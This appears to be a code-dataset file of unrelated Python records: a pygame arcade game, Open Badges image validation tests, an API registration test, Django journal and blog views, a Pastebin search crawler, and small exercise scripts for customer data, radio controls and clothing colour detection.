powerup doesn't spawn on/next to tank\r\n newpower = {'num':random.randint(1,5), 'x':random.randint(50,650), 'y':random.randint(50, 525),'checker':0}\r\n newpower['rect'] = pygame.Rect(newpower['x'], newpower['y'], 50,50)\r\n surround = pygame.Rect(x-50, y-50, 175, 148)\r\n if not surround.colliderect(newpower['rect']):\r\n validspot = True\r\n powerups.append(newpower)\r\n if gameCount%4000 == 0: #progressively makes game harder\r\n shootrate -= 10\r\n e_missilespeed += 1\r\n \r\n #updates for everything\r\n updatemissiles()\r\n updateenemies()\r\n checkcollide()\r\n powerup()\r\n updatestatus()\r\n updateexplosions()\r\n updatered()\r\n pygame.display.flip()\r\n \r\n if gameloop == False: #creates a darkened copy of the screen at the end of the game\r\n screen.blit(images['gray'],(0,0))\r\n endscreen = screen.copy()\r\n if paused == True:\r\n pausescreen = screen.copy()\r\n pause()\r\n if gameCount == 1: #plays opening animations\r\n begin()\r\nname = \"\"\r\npygame.mixer.music.stop()\r\ngameover = True\r\nwhile gameover:\r\n #text stuff\r\n screen.blit(endscreen,(0,0))\r\n finalscore = finalfont.render((\"Final Score: \"+str(kills)), True, (250,250,250))\r\n finalrect = finalscore.get_rect(center=(400,200))\r\n\r\n enter = smallfont.render((\"Enter Your Name:\"), True, (250,250,250))\r\n enterrect = enter.get_rect(center=(400,290))\r\n name_blit = myfont.render(name, True, (255,255,255))\r\n name_rect = name_blit.get_rect(center=(400,350))\r\n #name_space = pygame.Rect(190,315,420,70)\r\n #pygame.draw.rect(screen, (50,50,50), name_space)\r\n screen.blit(images['namespace'], (190,315))\r\n screen.blit(name_blit, name_rect)\r\n screen.blit(images['gameover'], (136,70))\r\n screen.blit(finalscore, finalrect)\r\n screen.blit(enter, enterrect)\r\n \r\n pygame.display.flip()\r\n for ev in pygame.event.get():\r\n if ev.type == pygame.QUIT:\r\n pygame.quit()\r\n quit()\r\n elif ev.type == pygame.KEYDOWN:\r\n if ev.unicode.isalnum() and len(name) < 16:\r\n name += ev.unicode\r\n elif ev.key == K_BACKSPACE:\r\n name = name[:-1]\r\n elif ev.key == K_RETURN:\r\n gameover = False\r\npygame.quit()\r\nquit()\r\n#except:\r\n# print(\"Samuel has messed up. Please contact him and laugh in his face.\")\r\n","sub_path":"singleplayer/Arcade Mode.py","file_name":"Arcade Mode.py","file_ext":"py","file_size_in_byte":19114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"308058287","text":"import os.path\nfrom requests_cache import CachedSession\nimport responses\nimport unittest\n\nfrom openbadges.verifier.actions.tasks import add_task\nfrom openbadges.verifier.actions.action_types import STORE_ORIGINAL_RESOURCE\nfrom openbadges.verifier.reducers.input import input_reducer\nfrom openbadges.verifier.tasks import task_named\nfrom openbadges.verifier.tasks.validation import OBClasses\nfrom openbadges.verifier.tasks.task_types import (IMAGE_VALIDATION, VALIDATE_EXPECTED_NODE_CLASS)\nfrom openbadges.verifier.tasks.utils import is_data_uri\nfrom openbadges.verifier.utils import CachableDocumentLoader\n\n\nclass ImageValidationTests(unittest.TestCase):\n @responses.activate\n def test_validate_badgeclass_image_formats(self):\n session = CachedSession(backend='memory', expire_after=100000)\n loader = CachableDocumentLoader(use_cache=True, session=session)\n options = {\n 'jsonld_options': {'documentLoader': loader}\n }\n image_url = 'http://example.org/awesomebadge.png'\n badgeclass = {\n 'id': 'http://example.org/badgeclass',\n 'name': 'Awesome badge',\n 'image': image_url\n }\n state = {'graph': [badgeclass]}\n\n with open(os.path.join(os.path.dirname(__file__), 'testfiles', 'public_domain_heart.png'), 'rb') as f:\n responses.add(responses.GET, badgeclass['image'], body=f.read(), content_type='image/png')\n response = session.get(badgeclass['image'])\n self.assertEqual(response.status_code, 200)\n\n task_meta = add_task(\n VALIDATE_EXPECTED_NODE_CLASS, node_id=badgeclass['id'], expected_class=OBClasses.BadgeClass)\n\n result, message, actions = task_named(VALIDATE_EXPECTED_NODE_CLASS)(state, task_meta, **options)\n self.assertTrue(result)\n\n image_task = [a for a in actions if a.get('prop_name') == 'image'][0]\n class_image_validation_task = [a for a in actions if a.get('name') == IMAGE_VALIDATION][0]\n result, message, actions = task_named(image_task['name'])(state, image_task, **options)\n self.assertTrue(result)\n self.assertEqual(len(actions), 0)\n\n result, message, actions = task_named(class_image_validation_task['name'])(\n state, class_image_validation_task, **options)\n self.assertTrue(result)\n self.assertEqual(len(actions), 1)\n # self.assertEqual(actions[0]['name'], STORE_ORIGINAL_RESOURCE)\n\n # Case 2: Embedded image document\n badgeclass['image'] = {\n 'id': 'http://example.org/awesomebadge.png',\n 'author': 'http://someoneelse.org/1',\n 'caption': 'A hexagon with attitude'\n }\n\n # Validate BadgeClass, queuing the image node validation task\n result, message, actions = task_named(image_task['name'])(state, image_task, **options)\n self.assertTrue(result)\n self.assertEqual(len(actions), 1, \"Image node validation task queued\")\n\n # Run image node task discovery\n next_task = actions[0]\n result, message, actions = task_named(next_task['name'])(state, next_task, **options)\n self.assertTrue(result)\n\n # Run validation task for the Image node\n next_task = [a for a in actions if a.get('name') == IMAGE_VALIDATION][0]\n result, message, actions = task_named(next_task['name'])(state, next_task, **options)\n self.assertTrue(result)\n\n # Store image data\n next_task = actions[0]\n self.assertEqual(next_task['type'], STORE_ORIGINAL_RESOURCE)\n new_state = input_reducer({}, next_task)\n self.assertTrue(new_state['original_json'][image_url].startswith('data:'), \"Data is stored in the expected spot.\")\n\n def test_base64_data_uri_in_badgeclass(self):\n data_uri = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mOUMyqsBwACeQFChxl' \\\n 'ltgAAAABJRU5ErkJggg=='\n self.assertTrue(is_data_uri(data_uri))\n\n session = CachedSession(backend='memory', expire_after=100000)\n loader = CachableDocumentLoader(use_cache=True, session=session)\n options = {\n 'jsonld_options': {'documentLoader': loader}\n }\n badgeclass = {\n 'id': 'http://example.org/badgeclass',\n 'name': 'Awesome badge',\n 'image': data_uri\n }\n state = {'graph': [badgeclass]}\n\n task_meta = add_task(\n VALIDATE_EXPECTED_NODE_CLASS, node_id=badgeclass['id'], expected_class=OBClasses.BadgeClass)\n\n result, message, actions = task_named(VALIDATE_EXPECTED_NODE_CLASS)(state, task_meta, **options)\n self.assertTrue(result)\n\n image_task = [a for a in actions if a.get('prop_name') == 'image'][0]\n class_image_validation_task = [a for a in actions if a.get('name') == IMAGE_VALIDATION][0]\n result, message, actions = task_named(image_task['name'])(state, image_task, **options)\n self.assertTrue(result)\n self.assertEqual(len(actions), 0)\n\n result, message, actions = task_named(class_image_validation_task['name'])(\n state, class_image_validation_task, **options)\n self.assertTrue(result)\n self.assertEqual(len(actions), 0, \"There is no need to separately store the data_uri\")\n\n # Case 2 SVG\n badgeclass['image'] = 'data:image/svg+xml;charset=utf-8;base64,PHN2ZyBoZWlnaHQ9IjEwMCIgd2lkdGg9IjEwMCI+DQogID' \\\n 'xjaXJjbGUgY3g9IjUwIiBjeT0iNTAiIHI9IjQwIiBzdHJva2U9ImJsYWNrIiBzdHJva2Utd2lkdGg9IjMiIGZp' \\\n 'bGw9IiM1NTU1ZmYiIC8+ICANCjwvc3ZnPg=='\n\n result, message, actions = task_named(class_image_validation_task['name'])(\n state, class_image_validation_task, **options)\n self.assertTrue(result)\n self.assertEqual(len(actions), 0, \"There is no need to separately store the data_uri\")\n\n # Case 3 naughty JPG\n badgeclass['image'] = 'data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEAYABgAAD/4QAWRXhpZgAASUkqAAgAAAAAAAAAAAD/2wB' \\\n 'DAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBA' \\\n 'QH/2wBDAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE' \\\n 'BAQEBAQH/wAARCAABAAEDASIAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAAAAr/xAAUEAEAAAAAAAAAAAAAA' \\\n 'AAAAAAA/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/AL+' \\\n 'AAf/Z'\n\n result, message, actions = task_named(class_image_validation_task['name'])(\n state, class_image_validation_task, **options)\n self.assertFalse(result)\n\n def test_base64_data_uri_in_assertion(self):\n data_uri = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mOUMyqsBwACeQFChxl' \\\n 'ltgAAAABJRU5ErkJggg=='\n self.assertTrue(is_data_uri(data_uri))\n\n session = CachedSession(backend='memory', expire_after=100000)\n loader = CachableDocumentLoader(use_cache=True, session=session)\n options = {\n 'jsonld_options': {'documentLoader': loader}\n }\n assertion = {\n 'id': 'http://example.org/assertion',\n 'image': data_uri\n }\n state = {'graph': [assertion]}\n\n task_meta = add_task(\n VALIDATE_EXPECTED_NODE_CLASS, node_id=assertion['id'], expected_class=OBClasses.Assertion)\n\n result, message, actions = task_named(VALIDATE_EXPECTED_NODE_CLASS)(state, task_meta, **options)\n self.assertTrue(result)\n\n image_task = [a for a in actions if a.get('prop_name') == 'image'][0]\n class_image_validation_task = [a for a in actions if a.get('name') == IMAGE_VALIDATION][0]\n result, message, actions = task_named(image_task['name'])(state, image_task, **options)\n self.assertFalse(result, \"The Assertion image property validation task should not allow data URIs\")\n self.assertEqual(len(actions), 0)\n\n result, message, actions = task_named(class_image_validation_task['name'])(\n state, class_image_validation_task, **options)\n self.assertFalse(result, \"The image validation task should also fail for the same reason\")\n","sub_path":"tests/test_image_validation.py","file_name":"test_image_validation.py","file_ext":"py","file_size_in_byte":8334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"161002014","text":"# -*- coding: utf-8 -*-\n\"\"\"\n-------------------------------------------------\n @Time : 2020/4/27 20:35 \n @Auth : 可优\n @File : lm_02_unittest_define.py\n @IDE : PyCharm\n @Motto: ABC(Always Be Coding)\n @Email: keyou100@qq.com\n @Company: 湖南省零檬信息技术有限公司\n @Copyright: 柠檬班\n-------------------------------------------------\n\"\"\"\n# python中的内置模块(框架)\n# 0、导入unittest模块\nimport unittest\n\nimport ddt\nfrom handle_request import HandleRequest\nfrom handel_excel import HandelExcel\nfrom handle_yaml import do_yaml\n\nexcel_name = \"testcase.xlsx\"\ndo_excel = HandelExcel(do_yaml.get_data(\"excel\", \"filename\"), \"register\")\ntestcase_data = do_excel.read_data() # 嵌套字典的列表\n\n\n# 1、使用@ddt.ddt作为类的装饰器\n@ddt.ddt\nclass TestRegister(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n # 3、构造请求参数\n cls.do_request = HandleRequest()\n cls.do_request.add_headers(do_yaml.get_data(\"api\", \"api_version\"))\n\n @classmethod\n def tearDownClass(cls):\n cls.do_request.close()\n\n# 2、使用@ddt.data函数来装饰用例的实例方法\n# a、���一个参数为序列类型(字符串、列表、元组)拆包\n# b、用例所在的序列类型\n @ddt.data(*testcase_data)\n def test_register(self, testcase_dict):\n res = self.do_request.send(\n testcase_dict[\"method\"],\n testcase_dict[\"url\"],\n json=testcase_dict[\"data\"]\n )\n real_code = res.json()[\"code\"]\n row = testcase_dict[\"id\"] + 1\n self.do_excel.write_data(row, do_yaml.get_data(\"excel\", \"real_result_column\"), res.text)\n type(res.text)\n try:\n self.assertEqual(testcase_dict[\"expected_value\"], real_code, testcase_dict[\"name\"])\n except AssertionError as e:\n do_excel.write_data(row, do_yaml.get_data(\"excel\", \"result_column\"), \"失败\")\n raise e\n else:\n do_excel.write_data(row, do_yaml.get_data(\"excel\", \"result_column\"), \"成功\")\n\"\"\"\n # 2、创建测试用例测试方法,一定要以test_作为前缀\n def test_1register_success(self):\n\n request_param = {\n \"mobile_phone\": \"18511114479\",\n \"pwd\": \"12345678\"\n }\n\n # 4、发起请求\n res = self.do_request.send(\"POST\", self.url, json=request_param)\n\n # 5、提取响应数据,然后断言结果\n expected_value = 0\n real_code = res.json()[\"code\"]\n try:\n self.assertEqual(expected_value, real_code, \"测试注册接口的正向用例失败\")\n except AssertionError as e:\n print(\"此处需要使用日志器来记录日志!\")\n print(f\"具体异常为:{e}\")\n # 使用raise手动抛出异常\n raise e\n\n def test_2no_mobile(self):\n\n request_param = {\n \"pwd\": \"12345678\"\n }\n # 4、发起请求\n res = self.do_request.send(\"POST\", self.url, json=request_param)\n\n # 5、提取响应数据,然后断言结果\n expected_value = 1\n real_code = res.json()[\"code\"]\n\n self.assertEqual(expected_value, real_code, \"测试手机号为空失败\")\n\n\"\"\"\n\nif __name__ == '__main__':\n unittest.main()\n\n# 什么是好的封装?\n# 1、足够精简\n# 2、拓展性强\n# 3、封装了之后,就不要在修改\n\n# 用例的参数放在哪里?\n# 放在文本文件中, 可以吗? 好不好? 不通直观,修改麻烦\n# 放在数据库中,可以吗? 好不好?写sql,好麻烦哦!sql不一定写正确,测试开发平台\n# 放在excel中,可以吗? 好不好?\n# 放在json文件中、yaml文件中,很好!\n","sub_path":"python_study/myself_test/interface_class_exercise/Py28_0508_handle_config_log/test_01_register.py","file_name":"test_01_register.py","file_ext":"py","file_size_in_byte":3818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"424334958","text":"from django.shortcuts import render\nfrom django.http import HttpResponse, Http404\nfrom django.contrib.auth.decorators import login_required\n# from django.db.models import Avg\n\nfrom .models import Location, Message, Music\nimport datetime\n\n\ndef generate_hourly_slides(request, year, month, day):\n year = int(year)\n month = int(month)\n day = int(day)\n username = request.user.username\n\n today = datetime.datetime(year, month, day)\n # SERVER TIME IS 3 HOURS AHEAD, THE NEXT LINE IS A HACK\n today += datetime.timedelta(hours=5)\n\n hourlyLocation = []\n hourlyMessage = []\n hourlyMusic = []\n slides = []\n for hours in range(1, 25):\n start = today + datetime.timedelta(hours=hours-1)\n end = today + datetime.timedelta(hours=hours)\n hourlyLocation.append(\n Location.objects.filter(\n timestamp__gte=start,\n timestamp__lt=end,\n username=username))\n # HACKING AGAIN BECAUSE MESSAGE TIMESTAMPS ARE O.K.\n start -= datetime.timedelta(hours=5)\n end -= datetime.timedelta(hours=5)\n hourlyMessage.append(\n Message.objects.filter(\n timestamp__gte=start,\n timestamp__lt=end,\n username=username))\n hourlyMusic.append(\n Music.objects.filter(\n timestamp__gte=start,\n timestamp__lt=end,\n username=username))\n\n for hour in range(len(hourlyLocation)):\n if hourlyLocation[hour]:\n timestamp = hourlyLocation[hour][0].timestamp\n # latitude = hourlyLocation[hour].aggregate(res=Avg('latitude'))['res']\n # longitude = hourlyLocation[hour].aggregate(res=Avg('longitude'))['res']\n\n latitude = hourlyLocation[hour].order_by('latitude')[\n hourlyLocation[hour].count() /\n 2].latitude\n longitude = hourlyLocation[hour].order_by('longitude')[\n hourlyLocation[hour].count() /\n 2].longitude\n slide = {\n 'timestamp': str(timestamp),\n 'location': {\n 'lat': latitude, 'lon': longitude},\n 'text': {\n 'headline': 'Hour %02d' % hour,\n 'text': '

You had SMS conversations with:

    '}\n }\n added = []\n for message in hourlyMessage[hour]:\n if message.nameornumber not in added:\n slide['text'][\n 'text'] += '
  • %s
  • ' % message.nameornumber\n added.append(message.nameornumber)\n if not added:\n slide['text']['text'] += \"
  • you didn't talk to anybody :(
  • \"\n slide['text']['text'] += '

You listened to these tracks:

    '\n added = []\n for song in hourlyMusic[hour]:\n if (song.title, song.album) not in added:\n slide['text'][\n 'text'] += '
  • %s, in album %s
  • ' % (song.title, song.album)\n added.append((song.title, song.album))\n if not added:\n slide['text']['text'] += '
  • you spent this hour without your iPod );
  • '\n slide['text']['text'] += '
'\n slides.append(slide)\n\n return slides\n\n\n# Create your views here.\n\n\ndef postjournallocation(request, username, latitude, longitude):\n try:\n l = Location(username=username, latitude=latitude, longitude=longitude)\n l.save()\n except:\n raise Http404('Bad location submission')\n return HttpResponse('Successfully added location')\n\n\ndef postjournalmessage(request, username, timestamp, nameornumber):\n try:\n m = Message(\n username=username,\n timestamp=timestamp.replace('!', ' '),\n nameornumber=nameornumber)\n m.save()\n except:\n return Http404('Bad message submission')\n return HttpResponse('Successfully added message')\n\n\ndef postjournalmusic(request, username, timestamp, title, album):\n try:\n m = Music(\n username=username,\n timestamp=timestamp.replace('!', ' '),\n title=title.replace('QWERTY', ' '),\n album=album.replace('QWERTY', ' '),\n )\n m.save()\n except:\n return Http404('Bad music submission')\n return HttpResponse('Successfully added music')\n\n\n@login_required\ndef showjournal(request, year, month, day):\n # return HttpResponse('redirect this to HTML for journal %s:%s:%s' %\n # (year, month, day))\n today = datetime.date(int(year), int(month), int(day))\n\n tomorrow = today + datetime.timedelta(days=1)\n yesterday = today - datetime.timedelta(days=1)\n\n tomorrow = 'YEAR=%d&MONTH=%d&DAY=%d' % (\n tomorrow.year, tomorrow.month, tomorrow.day)\n yesterday = 'YEAR=%d&MONTH=%d&DAY=%d' % (\n yesterday.year, yesterday.month, yesterday.day)\n\n overview = {\n 'type': 'overview',\n 'text': {\n 'headline': 'Journal Entry',\n 'text': 'for %s-%s-%s' % (year, month, day)\n }\n }\n\n slides = generate_hourly_slides(request, year, month, day)\n\n return render(request,\n 'storymap.html',\n {'tomorrow': tomorrow,\n 'yesterday': yesterday,\n 'overview': overview,\n 'slides': slides})\n\n\ndef mostrecentmessage(request):\n return HttpResponse(\n Message.objects.all().order_by('-timestamp')[0].timestamp)\n\n\ndef mostrecentsong(request):\n return HttpResponse(\n Music.objects.all().order_by('-timestamp')[0].timestamp)\n","sub_path":"journalserver/dayjournal/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"279789871","text":"#THIS IS THE MAIN PYTHON FILE\n#import the main class\nfrom lib import main_class\n#time for a delay of 1 hour\nimport time\n\nif __name__ == \"__main__\":\n keyword = \"https://pastebin.com/search?q=node+js\"\n obj = main_class.Driver(keyword)\n while(1):\n obj.crawler()\n time.sleep(3600)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"219969565","text":"from django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render, render_to_response, get_object_or_404, redirect\nfrom django.utils import timezone\nfrom .forms import ReplyForm\nfrom .forms import RequestForm\nfrom .forms import Reply_registerForm\nfrom .forms import Request_registerForm\nfrom .models import Reply\nfrom .models import Request\nfrom .models import Reply_register\nfrom .models import Request_register\nfrom django.db.models import Q, Count\nfrom datetime import datetime, date, time\nfrom django.contrib.auth.decorators import login_required\n\n@login_required\ndef Request_list(request):\n req = Request.objects.order_by('id')\n podate = Request.objects.filter(created_date__year='2018').filter(created_date__month='12')\n count = Request.objects.count()\n return render(request, 'show_requests.html', {'req': req, 'podate': podate, 'count': count})\n\n@login_required\ndef Reply_list(request):\n rep = Reply.objects.order_by('id')\n count = Reply.objects.count()\n return render(request, 'show_replies.html', {'rep': rep, 'count': count})\n\n@login_required\ndef Request_register_list(request):\n reqreg = Request_register.objects.order_by('title')\n return render(request, 'show_request_register.html', {'reqreg': reqreg})\n\n@login_required\ndef Reply_register_list(request):\n repreg = Reply_register.objects.order_by('title')\n return render(request, 'show_reply_register.html', {'repreg': repreg})\n\ndef Request_detail(request, pk):\n req = get_object_or_404(Request, pk=pk)\n return render(request, 'blog/Request_detail.html', {'Request': req})\n\ndef Reply_detail(request, pk):\n rep = get_object_or_404(Reply, pk=pk)\n replyfio = rep.name_of_inhabitant\n zay = Request.objects.filter(name_of_inhabitant__iexact = replyfio)\n return render(request, 'blog/Reply_detail.html', {'Reply': rep, 'zay': zay})\n\ndef Request_register_detail(request, pk):\n reqreg = get_object_or_404(Request_register, pk=pk)\n return render(request, 'blog/Request_register_detail.html', {'Request_register': reqreg})\n\ndef Reply_register_detail(request, pk):\n repreg = get_object_or_404(Reply_register, pk=pk)\n return render(request, 'blog/Reply_register_detail.html', {'Reply_register': repreg})\n\n@login_required\ndef Reply_new(request):\n if request.method == \"POST\":\n form = ReplyForm(request.POST)\n if form.is_valid():\n Reply = form.save(commit=False)\n Reply.author = request.user\n Reply.save()\n return redirect('Reply_detail', pk=Reply.pk)\n else:\n form = ReplyForm()\n return render(request, 'blog/Reply_edit.html', {'Reply': form})\n\n@login_required\ndef Reply_edit(request, pk):\n rep = get_object_or_404(Reply, pk=pk)\n if request.method == \"POST\":\n form = ReplyForm(request.POST, instance=rep)\n if form.is_valid():\n rep = form.save(commit=False)\n rep.author = request.user\n rep.save()\n return redirect('Reply_detail', pk=rep.pk)\n else:\n form = ReplyForm(instance=rep)\n return render(request, 'blog/Reply_edit.html', {'Reply': form})\n\n@login_required\ndef Request_new(request):\n if request.method == \"POST\":\n form = RequestForm(request.POST)\n if form.is_valid():\n Request = form.save(commit=False)\n Request.author = request.user\n Request.save()\n return redirect('Request_detail', pk=Request.pk)\n else:\n form = RequestForm()\n return render(request, 'blog/Request_edit.html', {'Request': form})\n\n@login_required\ndef Request_edit(request, pk):\n req = get_object_or_404(Request, pk=pk)\n if request.method == \"POST\":\n form = RequestForm(request.POST, instance=req)\n if form.is_valid():\n req = form.save(commit=False)\n req.author = request.user\n req.save()\n return redirect('Request_detail', pk=req.pk)\n else:\n form = RequestForm(instance=req)\n return render(request, 'blog/Request_edit.html', {'Request': form})\n\n@login_required\ndef Reply_remove(request, pk):\n rep = get_object_or_404(Reply, pk=pk)\n rep.delete()\n return HttpResponseRedirect(\"/\")\n\n@login_required\ndef Request_remove(request, pk):\n req = get_object_or_404(Request, pk=pk)\n req.delete()\n return HttpResponseRedirect(\"/\")\n\ndef search_form(request):\n return render_to_response('search_form.html')\n\ndef search(request):\n if 't' in request.GET and request.GET['t']:\n t = request.GET['t']\n requests = Request.objects.filter(Q(id__iexact=t)|Q(name_of_inhabitant__iexact=t)|\n Q(phone_number=t)|Q(email__iexact=t)|Q(reason=t))\n replies = Reply.objects.filter(Q(id__iexact=t)|Q(name_of_inhabitant__iexact=t)|Q(result=t))\n repreg = Reply_register.objects.filter(Q(title__iexact=t)|Q(reply_number=t)|Q(name_of_inhabitant__iexact=t)|\n Q(result__iexact=t)|Q(name_of_doer=t)|Q(request_status=t))\n reqreg = Request_register.objects.filter(Q(title__iexact=t)|Q(request_number=t)|Q(name_of_inhabitant__iexact=t)|Q(phone_number=t)|Q(email__iexact=t)|\n Q(reason__iexact=t)|Q(name_of_doer=t)|Q(request_status=t))\n requests1 = Request.objects.filter(Q(id__iexact=t)|Q(name_of_inhabitant__iexact=t)|\n Q(phone_number=t)|Q(email__iexact=t)|Q(reason=t)).count()\n kolvo1 = int(requests1)\n replies1 = Reply.objects.filter(Q(id__iexact=t)|Q(name_of_inhabitant__iexact=t)|Q(result=t)).count()\n kolvo2 = int(replies1)\n repreg1 = Reply_register.objects.filter(Q(title__iexact=t)|Q(reply_number=t)|Q(name_of_inhabitant__iexact=t)|\n Q(result__iexact=t)|Q(name_of_doer=t)|Q(request_status=t)).count()\n kolvo3 = int(repreg1)\n reqreg1 = Request_register.objects.filter(Q(title__iexact=t)|Q(request_number=t)|Q(name_of_inhabitant__iexact=t)|Q(phone_number=t)|Q(email__iexact=t)|\n Q(reason__iexact=t)|Q(name_of_doer=t)|Q(request_status=t)).count()\n kolvo4 = int(reqreg1)\n return render_to_response('search_results.html',\n {'requests': requests, 'replies': replies, 'repreg': repreg, 'reqreg': reqreg, 'kolvo1':kolvo1, 'kolvo2':kolvo2, 'kolvo3':kolvo3, 'kolvo4':kolvo4, 'query': t})\n else:\n return render_to_response('search_form.html', {'error': True})\n","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"308756223","text":"class Customer: # create customer class\r\n def __init__(self,CustomerName,CustomerAddress1,City,State,ZipCode): # Add customer attributes\r\n self.CustomerName = CustomerName \r\n self.CustomerAddress1 = CustomerAddress1\r\n self.City = City\r\n self.State = State\r\n self.ZipCode = ZipCode\r\n# Define Customer attribute information\r\np1 = Customer(\"Steve Sanders\", \"1122 Arlington Way\",\"Memphis\",\"TN\",\"37501\")\r\np2 = Customer(\"Alex Smith\", \"123 Webster St\",\"Kansas City\",\"MO\",\"64119\")\r\np3 = Customer(\"Charlie Rhoades\", \"789 Agave Pl\",\"Denver\",\"CO\",\"80014\")\r\np4 = Customer(\"Gilbert Song\", \"5566 Eggshell Rd\",\"Seattle\",\"WA\",\"98101\")\r\np5 = Customer(\"Billy Granger\", \"8877 Nemo Blv\",\"Houston\",\"TX\",\"77001\")\r\np6 = Customer(\"Bob Baker\", \"963 Yellowstone Dr\",\"Topeka\",\"KS\",\"66546\")\r\np7 = Customer(\"Ashley Ellis\", \"258 Buford Way\",\"Tampa\",\"FL\",\"33601\")\r\np8 = Customer(\"Brittney Biggs\", \"7859 Wilson St\",\"Santa Cruz\",\"CA\",\"95060\")\r\np9 = Customer(\"Jillian Spears\", \"7141 Jetty Dr\",\"Portland\",\"OR\",\"97035\")\r\np10 = Customer(\"Heather Blair\", \"3256 Keller Pl\",\"Boston\",\"MA\",\"02101\")\r\np11 = Customer(\"Jenny Stitch\", \"2563 Evergreen St\",\"Santa Fe\",\"NM\",\"87501\")\r\np12 = Customer(\"Joseph Flanders\", \"8956 Smokehouse Rd\",\"Wrens\",\"GA\",\"30833\")\r\np13 = Customer(\"Jason Starling\", \"492 Dusty Bluff Way\",\"Park City\",\"UT\",\"84098\")\r\np14 = Customer(\"Taylor Sprig\", \"4422 Sunset St\",\"Charlotte\",\"NC\",\"28126\")\r\np15 = Customer(\"Allison Spaulding\", \"8956 Palm Rd\",\"Tombstone\",\"AZ\",\"85638\")\r\n\r\n# Assign customer zip code attribute to an array.\r\nzips = [p1.ZipCode,p2.ZipCode,p3.ZipCode,p4.ZipCode,p5.ZipCode,p6.ZipCode,p7.ZipCode,p8.ZipCode,p9.ZipCode,p10.ZipCode,p11.ZipCode,p12.ZipCode,p13.ZipCode,p14.ZipCode,p15.ZipCode]\r\n# Print array\r\nprint(\"The zip codes for these customers are, \", zips)","sub_path":"Customer_Array_Manipulation.py","file_name":"Customer_Array_Manipulation.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"575805107","text":"#!/usr/bin/env python\n# -*- coding: utf-8\nfrom common_blocks.observer.controller import Controller\nfrom common_blocks.search.search import search\n\n\nclass RadioCommunicationController(Controller):\n \"\"\"Управление радиоустройствами\"\"\"\n def __init__(self):\n self.observers = dict()\n self._data = None\n #self._observers = dict()\n\n\n def set_widgets(self, widget):\n self._data = {'widget': widget,\n 'button': self.button,\n 'combo box': self.combo_box}\n search.array_widgets(self._data['widget'])\n for button in self._data['button']:\n button.released.connect(lambda: self.notify(search.comparable_objects(button.sender()), 'button'))\n for combo_box in self._data['combo box']:\n combo_box.activated.connect(\n lambda: self.notify(search.comparable_objects(combo_box.sender(), combo_box.sender().currentIndex()),\n 'combo box'))\n\n\n\n","sub_path":"template_pkp_sirena/controller_radio.py","file_name":"controller_radio.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"654135838","text":"import collections\nimport colorsys\nimport copy\nimport csv\nimport math\nimport os\nimport sys\n\nimport pandas as pd\nimport cv2\nimport imageio\nimport numpy as np\nimport re\nimport matplotlib.pyplot as plt\nimport xlrd\nfrom PIL import Image, ImageDraw, ImageFont\nfrom colormath.color_diff import delta_e_cie2000, delta_e_cmc\nfrom sklearn.cluster import DBSCAN, KMeans\nfrom sklearn.metrics import silhouette_score\n\nfrom rgb2lab import RGB2Lab\n\n\nclass ColorType(object):\n PURE = 1 # 纯色\n JOINT = 2 # 拼接\n TEXTURE = 3 # 花纹\n\n\nclass ColorIdentify(object):\n def __init__(self):\n self.unusual_colors = []\n self.costume_color_dict = {} # 服饰颜色字典, 颜色名:RGB\n self.basis_color_dict = {} # 基础颜色字典\n self.init_costume_color_dict() # 初始化服饰颜色字典\n self.init_basis_color_dict() # 初始化基础颜色字典\n\n def init_costume_color_dict(self, file_path=r'E:\\PycharmProjects\\服饰颜色识别\\颜色\\猪圈关键字(55色)(4)(1).xlsx'):\n # 文件路径的中文转码,如果路径非中文可以跳过\n file_path = file_path.encode('utf-8').decode('utf-8')\n # 获取数据\n data = xlrd.open_workbook(file_path)\n table = data.sheet_by_name('猪圈颜色')\n nrows = table.nrows\n # 获取一行的数值,例如第5行\n for i in range(nrows):\n rowvalue = table.row_values(i)\n color_name1 = rowvalue[2]\n color_value1 = rowvalue[3]\n color_name2 = rowvalue[6]\n color_value2 = rowvalue[7]\n if re.match('[0-9]* [0-9]* [0-9]*', color_value1):\n self.costume_color_dict[color_name1] = [int(i) for i in color_value1.split(\" \")]\n if re.match('[0-9]* [0-9]* [0-9]*', color_value2):\n self.costume_color_dict[color_name2] = [int(i) for i in color_value2.split(\" \")]\n\n def init_basis_color_dict(self):\n \"\"\"\n 初始化基础颜色范围 (黑色,白色,红色,橙色...)\n :return:\n \"\"\"\n self.basis_color_dict = collections.defaultdict(list)\n\n # 黑色\n lower_black = np.array([0, 0, 0])\n upper_black = np.array([180, 255, 46])\n color_list = []\n color_list.append(lower_black)\n color_list.append(upper_black)\n self.basis_color_dict['black'] = color_list\n\n # #灰色\n 